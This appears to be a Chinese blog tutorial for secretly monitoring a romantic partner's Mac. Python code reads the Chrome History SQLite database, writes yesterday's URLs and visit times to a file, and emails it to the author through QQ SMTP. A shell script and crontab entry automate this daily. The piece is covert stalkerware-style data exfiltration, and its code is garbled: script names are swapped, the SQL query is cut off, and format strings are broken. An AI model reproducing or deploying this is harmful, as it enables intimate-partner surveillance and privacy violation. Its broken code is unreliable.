需求:
(1) 获取你物件chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt档案中
(2)将这个txt档案传送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件检视你物件每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/使用者名称/Library/Application Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个档案,可以用DB Browser for SQLite
去检视所有的资讯,我们要的资讯在urls表中
怎么获取:用python内建的sqlite3库连线History,通过sql得到我们想要的资讯
(2)怎么传送一个带附件的邮件?
答:使用python内建的email和smtplib两个模组去构造和传送邮件
(3)怎么把这些过程自动化?
答:使用shell指令码将这些过程连线起来,然后使用crontab命令定时执行
准备
macOS Sierra
Python3.6
Chrome
传送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 : smtp.qq.com
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的资料组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.档案执行的需要的引数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument(\'affix_file\',help=\'the path of the affix\')
args = parser.parse_args()
# 2.格式化一个邮件地址和邮件资讯
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, \'utf-8\').encode(), addr))
#连线服务器(这里大家好改成自己的!)
from_addr = "[email protected]" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "[email protected]" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址
#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg[\'From\'] = _format_addr(\'风一样的女子 \' % from_addr)
msg[\'To\'] = _format_addr(\'风一样的男子 \' % to_addr)
msg[\'Subject\'] = Header(\'chrome历史记录每日更新\', \'utf-8\').encode()
# 邮件正文是MIMEText:
msg.attach(MIMEText(\'窥探隐私是犯法的啊!\', \'plain\', \'utf-8\'))
# 新增附件就是加上一个MIMEBase,从本地读取一个txt档案:
with open(args.affix_file, \'r\') as f:
# 设定附件的MIME和档名,这里是py型别:
mime = MIMEBase(\'result\', \'txt\', filename=\'result.txt\')
# 加上必要的头资讯:
mime.add_header(\'Content-Disposition\', \'attachment\', filename=\'result.txt\')
mime.add_header(\'Content-ID\', \'\')
mime.add_header(\'X-Attachment-Id\', \'0\')
# 把附件的内容读进来:
mime.set_payload(f.read())
# 用Base64编码:
encoders.encode_base64(mime)
# 新增到MIMEMultipart:
msg.attach(mime)
#3.通过SMTP传送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()
通过这个指令码,我们可以把url和访问时间提取出来,并且储存在result.txt中,下图就是我得到的部分结果

(3) send_email.py:
# -*- coding: utf-8 -*-
import sqlite3
#大家要改成自己的路径
history_db = \'/Users/Marcel/Desktop/tmp/code/chrome_history/History\'
# 1.连线history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()
# 2.选取我们想要的网址和访问时间
try:
select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,\'unixepoch\',\'localtime\') AS tm FROM urls WHERE julianday(\'now\') - julianday(tm) cursor.execute(select_statement)
except sqlite3.OperationalError:
print("[!] The database is locked! Please exit Chrome and run the script again.")
quit()
# 3.将网址和访问时间存入result.txt档案
results = cursor.fetchall()
with open(\'/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt\',\'w\') as f:#改成自己的路径
for i in range(len(results)):
f.write(results[i][1]+\' \')
f.write(results[i][0]+\' \')
通过这个指令码,我们可以把result.txt作为附件,传送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个指令码,已经完成了我们的任务,但是每次都执行这么多指令码,太麻烦了,我们可以把这些指令码的执行语句整理成一个shell指令码。
cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行程式码就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
说明:前面两个数字,就是你每天执行这个指令码的时间,我这里设定的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函式中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设定?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们开启浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他资料夹中,然后访问该资料夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去11644473600;
筛选昨天的资料:现在的日期与last_visit_time的差值小于1的资料,就是距离当前时
间小于1天的资料
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py指令码中的路径也要写绝对路径!
5.路劲问题
答:大家在复现的时候,要注意把路劲改成自己电脑上的,还有那个邮箱相关的资讯也要改成自己的。
总结:
1.运用python连线SQLite数据库,并执行sql操作
2.运用python传送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是作者自己瞎玩的,实际可行性不强。
小编为大家准备了一些python的学习教程和PDF格式的python电子书籍,希望可以帮助到大家。































